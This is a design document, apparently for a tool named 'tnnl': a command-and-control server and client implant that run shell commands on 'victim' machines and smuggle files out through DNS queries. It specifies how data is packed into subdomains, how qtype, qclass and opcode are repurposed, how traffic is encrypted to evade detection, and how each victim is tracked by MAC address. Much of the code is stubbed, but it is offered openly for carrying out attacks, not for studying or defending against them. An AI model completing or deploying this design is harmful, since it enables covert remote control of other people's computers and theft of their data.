Design and Implementation of C&C Server for Data Exfiltration

---

Below are the design for client and server programs that will be used for transferring data from victims to the server.

Client Program Design

The client program is responsible for reading and executing commands sent by the C&C server. To ensure this behavior, the following features will be implemented.

Features

1. **Command Decryption & Execution**
    - Initially, the server would send an **encrypted** command that can come in two flavors.
        - One flavor is just simply a regular **shell command** (e.g. `ls ~`).
        - The other flavor uses special syntax and is sent by the server for simple file retrieval (e.g. `get: <file-path>`.
    - In order for the client to execute the command, it first needs to decrypt it.
        - After the command is **decrypted**, the client can execute it according to its command flavor.
    - These tasks will be handled in `command.py`.

```
#--- client/command.py ---#

class Command:
    """ A class for handling the command
sent by the C&C server. """

    def __init__(self,
encrypted_command):
        self.cmd = encrypted_command

    def decrypt(self):
        """ Decrypts the encrypted
command into a shell command. """
```

```
        pass

    def execute(self):
        decrypted =
self.decrypt(self.cmd)

        # if decrypted starts with "get:"
            # send data from <path>
        # else
            # execute command in shell
environment
```

2. **Server Pinging**
    - The server cannot initiate a connection with the client because the communication between the client and server should look as legitimate as possible.
    - Instead, the client will periodically **ping** the server (send it a DNS request) over a configurable interval.
    - To implement this behavior, we can use the **twisted** library to call a function over an interval.
        - An example is shown below in `client.py` which will be the entry point for our client program.

```
#--- client/client.py ---#

# library imports
from twisted.internet import reactor,
task

# internal imports
from constants import PING_INTERVAL
from request import Request
from command import Command
from request_type import RequestType

def schedule_ping():
    """ Sends a ping request to the
server in an interval. """
    def ping():
        request =
Request(RequestType.PING)
        request.send()

    ping_task = task.LoopingCall(ping)
    ping_task.start(PING_INTERVAL)
```

```
    reactor.run()
```

3. **Command Execution & Data Transmission**

- The client can send three types of DNS requests to the server, **PING**, **DATA**, and **RECEIPT**.

```
from enum import Enum

class RequestType(Enum):
    """ Enum that represents the type of
request that is sent. """

    PING = 0, # sent periodically to
check if the server has a command
    DATA = 1, # sent when a file
retrieval command is issued for
transmission of data
    RECEIPT = 2 # a receipt of the
success (or failure) of the execution of
a shell command
```

- The client would first send a **PING** request to the server for a response. If the response contains a command, the client executes it and sends the result of that execution back to the server.
- The result will be dependent on the type of command issued.
    - The **shell** command would just be executed in a shell environment and the result would just be the status code of that command. This result would be sent as a **RECEIPT** request in order to let the server know whether the command succeeded or failed.
    - The **file retrieval** command would open the file specified, read and encrypt the maximum number of bytes that can fit inside a DNS request, and send it to the server as a **DATA** request.
        - This process would continue until the contents of the entire file has been sent to the server.
- These DNS requests will be constructed in `request.py`.

```
#--- client/request.py ---#

# from scapy.all import DNS, DNSQR
```

```
# internal imports
from constants import REQUEST_TYPE_ERR
from request_type import RequestType

class Request:
    """ A class for the DNS request that
is sent to the C&C server holding
information / receipt. """

    def __init__(self, request_type):
        # type = (PING, DATA, RECEIPT)
        self.type = request_type

    def send(self):
        """ Main function that sends a
request based on its type. """
        if self.request.type ==
RequestType.PING: _send_ping(self)
        elif self.request.type ==
RequestType.DATA: _send_data(self)
        elif self.request.type ==
RequestType.RECEIPT: _send_receipt(self)
        else: raise
Exception(REQUEST_TYPE_ERR)

    def _send_ping(self):
        """ Helper function to send a
ping request. """
        pass

    def _send_data(self):
        """ Helper function to send a
data request. """
        pass

    def _send_receipt(self):
        """ Helper function to send a
receipt request. """
        pass
```

Handling Multiple Commands

- It is possible that as the client is sending **DATA** requests to the server, the server sends a response back with another command. In order to ensure that all commands are properly performed by the client, the client will push all commands received by the server into a queue.

DNS Request Type Identification

- The server will need to know what type of DNS request the client will be sending. In order to identify the three different types, **PING**, **DATA**, and **RECEIPT**, we can use the `qtype` field in the `Question Record` in a DNS packet.
    - **PING**: `qtype = "TXT"`
    - **DATA**: `qtype = "A"`
    - **RECEIPT**: `qtype = "CNAME"`

Data Encryption

- The strong encryption methods that are normally used today do not preserve the length of the original message.
- While this offers more security, the longer length of the encrypted message reduces the amount of data we can pack into one DNS request.
- To work around this, we will be using ***Format Preserving Encryption (FPE)*** which will encrypt our data without changing the original length.
    - This encryption algorithm is performed via a "*Feistel-based mode of operation*".
    - You can read more about it here: https://csrc.nist.gov/csrc/media/projects/block-cipher-techniques/documents/bcm/proposed-modes/ffx/ffx-spec2.pdf
- To use this encryption method in our program, we will be using a library called **pyffx**.

Embedding Data into a DNS Request

- In order for the client to send the actual data requested by the server, the client will include it in the subdomains of a hostname specified in the `qname` field of a `Question Record`.
- A domain has a maximum length of `255` characters and each subdomain has a maximum length of `63` characters.

- The client needs to also identify itself to the server since the server will be sending commands to multiple victim machines.
    - To identify the client, the beginning subdomain will be set to the client machine's **MAC** address since it is a **static address**.
    - A **MAC** address only takes up exactly `12` characters.
- The maximum number of bytes for the data we can include in the request will be `num_chars(domain) - 12 - num_chars(periods)`.
    - The `num_chars(periods)` represents the periods in the full hostname (e.g. `<mac_address>.<data1>.<data2>.<domain>` has `3` periods).
    - In general: `num_chars(periods) = num(subdomains_for_data) + 1`

Ensuring Packet Completeness

- The server needs to know when it has fully received all the data it has requested from the client.
- To find out, there will be three types of **DATA** requests that will be sent during the transmission of data.
    a. `HEAD`
        - A `HEAD` request will signify the start of data transmission and will be indicated by setting `OPCODE = 1`.
    b. `NORMAL`
        - A `NORMAL` request contains actual data and will be indicated by setting `OPCODE = 0`.
    c. `TAIL`
        - A `TAIL` request will signify the end of data transmission and will be indicated by setting `OPCODE = 2`.

Ensuring Orderly Packet Arrival

- By the nature of how the network works, the order in which packets are sent to the server may be different than the order in which the server receives those packets.
    - An error in order would produce an incorrect sequence of the actual data being sent.
- In order to ensure the server will receive the packets in order, the client will use the 16-bit field `qclass` in the `Question Record` as a sequence count for each packet.

- The `HEAD` packet will have `qclass = 0`.
- The `NORMAL` packets that are sent will have `qclass = 1` to `qclass = <num_packets>`.
- The `TAIL` packet will have `qclass = <num_packets> + 1`.

Constraints

- The `qclass` field is limited to `16` bits which is equal to `2^16 = 65536` possible sequence numbers.
    - We use `0` to indicate the `HEAD` packet and we use `<num_packets> + 1` to indicate the `TAIL` packet.
    - This means that there are only `65534` sequence numbers we can use when sending our data.
        - Since there are only a limited number of sequence numbers we can use, the server can only request the content of files up to a certain file size.
        - This file size is dependent on the length of our domain since we can figure out the exact number of bytes we can pack into the `qname` once we know the length of the domain name.

Dependencies

- **Python** (v3.7+)
    - Used to write the entire program.
- **Twisted** (v18.9.0)
    - Used for scheduling ping requests to the server.
- **Scapy** (v2.4.2)
    - Used to send custom DNS packets to the server and capture DNS responses.
- **pyffx** (v.0.2.0)
    - Used to encrypt data without changing its original length (which lets us pack more data into a request).

Server Program Design

The server is designed to be the **source** for **commanding and controlling** infected clients over a botnet for exfiltrating data and delivering payloads.

Features

These are the main capabilities of the server:

1. Transmission of encoded commands to victim machines and process data transferred from client responses.
2. Ability to manage and sort data for multiple users to be stored on server hardware. Large files will be processed in a packet by packet basis until a terminating packet is sent by client.
3. Stores default configuration for client setup such as the time interval used by clients to query server and the identity the servers should be masked as.

Hosting

The server itself can be hosted on a private server or a public cloud provider to carry out attacks.

Since this server program is written in Python, it is able to run on any instance that has Python 3.7+ installed.

Dependencies

The server itself will require Python 3.7+ and Scapy to be installed. Scapy will be used for intercepting DNS packets that are sent by clients along with transmitting DNS responses containing information for client machines.

Scapy will allow us to be able to intercept packets that are sent from the clients for large data transfers along with obtaining results from executed from commands.

Pyffx is used for encrypting the commands sent to the victim machines.

Summary

- **Python** (v3.7+)
- **Scapy** (v2.4.2)
- **pyffx** (v0.2.0)

Technical Details

These are crucial files that will be used by the server program.

server.py

- This is the starting point of the program where the attacker will start the service via the command line.
- The attacker can set different flags to change various settings such as the client-side time-interval for checking server-issued

commands, directory to store exfiltrated data, and other configurations on how the client programs should mask itself to avoid detection.
- Here, the main thread will be used for issuing commands to various clients.
- A thread is started up for each given client-server connection from each thread from `datarecv.py`.

datarecv.py

- This class is used for handling the data that is being transferred from the clients to the server.
- For every client that **pings** the server the first time, a new directory will be created named after the victim's **MAC address** in the data folder (more information below).
- There will be 3 types of requests that the server will receive from the clients (specified in `request_type.py`). All clients will be identified by their IPv4 addresses:
    - `PING` - corresponds to client request to check for available commands.
    - `DATA` - packets that contain data corresponding to the current file transmission.
    - `RECEIPT` - results or output from running commands on client machines.
- To distinguish these packet types, the `QTYPE` field will have values that correspond each packet with its type (more details below).
- For handling `DATA` and `RECEIPT` requests, it will maintain a mapping for each of the connected clients and will write the corresponding extracted data in a folder that corresponds to that user (identified by IP address).
    - Ideally, we should be able to create a folder for each user given their **MAC address** and write the corresponding file contents in them.
    - Files will be written based on a prologue or beginning packet and will terminate once it receives a epilogue or terminating packet.
    - Files will be transferred one at a time whenever there is new data available from the client and read by the server.
- The data being sent in the server will mainly be encoded within the DNS request URL from the client.
    - One part of the entire domain will be reserved for the metadata, the actual payload, and the domain name.

```
<metadata>.<payload>.server.com
```

        - We have to keep in mind that the domain names do have a size constraint of 255 bytes or

255 chars (which includes every character including the periods).
- Therefore, we need to store only essential information as metadata, like the sequence of the packet (so they can be reordered if needed).
- The QTYPE of the DNSQR field will store the value that corresponds the payload to the type of data being transmitted, like PING, FILE, and RECEIPT.

cmdqueue.py

- This file will hold the commands that will execute on victim machines after being read from a directory.
- The commands to be executed can be placed inside `./data` folder or whatever location specified by the configuration file (folder structure shown below).
- The `input` folder of the victim will hold the commands to be executed and will be read periodically.
    - Once a command file (could be .txt) is processed in `data/6D-E0-56-E6-5A-BB/input`, the file is deleted and the server waits for more commands to be input.
- *tnnl* will support two types of commands:
- bash - commands that will be executed in the victim's shell
    - get - used for retrieving any file on victim machines, with the syntax `get: <file_path>`.

config.ini

- The main configuration file that will be parsed by the program to load up existing settings.
- Settings will include:
    - Time-intervals for client to request for commands from the server.
    - The application the client and server will disguise as to keep communications covert if applicable.
    - The data rate at which the client should send data back to the server.
    - More will be added in future iterations.

Folder Structure

```
data/
├── 92-54-18-DF-67-A2/
|   ├── input/
|   └── output/
├── 87-2E-3D-FC-CB-D3/
└── 87-E7-22-CF-CA-AA/
```

- *Note that dashes are used instead of colons for MAC addresses since colons are not allowed as directory names.*
- The data folder will contain directories that correspond to each victim machine with a given IP address.
    - The `input` folder will contain text files that are placed by the attacker containing commands to be issued. Once the server processes the commands, the file read will be deleted.
    - The `output` folder will contain files retrieved by the client programs along with the output logs from executed commands if available.

Payload Structure

- To make sure that our server can distinguish between what packets are mean for what, here is a brief breakdown of how the information is delivered and identified.

Identification/Payload

- The identity of the given client will be shown with its MAC address in the first part of the subdomain of the URL.
    - The reason why we chose to use a MAC address is the fact that victims could have dynamic IP addresses. With MAC addresses, we can more specifically identify a given device based on it.
- The MAC address also has a fixed length of `48 bits` or `12 bytes` (12 characters), making it easy for us to calculate how much we can transmit each message.
- Example URL:

```
<header>.<payload>.domain.com
87-E7-22-CF-CA-AA.thisissomedata.domain.com
```

- We still need to work with only having a max of 255 bytes for the domain, but a fixed and relatively small size header allows us to fit more information, increasing throughput.

DNS Query Packet Flags

- To store the rest of the information for packet identification, we will take advantage of the `QTYPE`, `QCLASS`, and `OPCODE` fields in the packet.
- `QTYPE` - specifies the type of packet that is being delivered to the server. We will use existing `QTYPE` entries as a mapping to our requirements. There are 3 possible types that we have:
    - `PING` - client request for more commands. (Mapped to `TXT`)
        - The reason why it is mapped to `TXT` since commands will be delievered to the victim via the `rdata` field of the `TXT` DNS response.
    - `PAYLOAD` - packet corresponding to file transfer from victim. (Mapped to `A`)
        - The breakdown of the payload is in more detail below with `QCLASS` and `OPCODE`.
    - `RECEIPT` - return values from an executed command in victim's shell. (Mapped to `CNAME`)
- `QCLASS` - stores a 16-bit unsigned integer that corresponds to the order of the packet in current file transfer. This field is **ignored** for `PING` and `RECEIPT` packets.
    - The **head** packet will have a value of 0.
    - The **middle** packets will have a vaue from `1` to the number of packets.
    - The **tail** packet will have the number of packets + 1.
- `OPCODE` - stores a value that indicates the type of **payload** packet.
    - The **head** packet will have a value of `1`.
    - The **middle** packets will have a value of `0`.
    - The **tail** packet will have a value of `2`.

Encryption

- The commands issued to the victims will be encrypted with **format preserving encryption (FPE)** to preserve the length of our command while making it hard to decipher.
- The library that will be used to encrypt commands is pyffx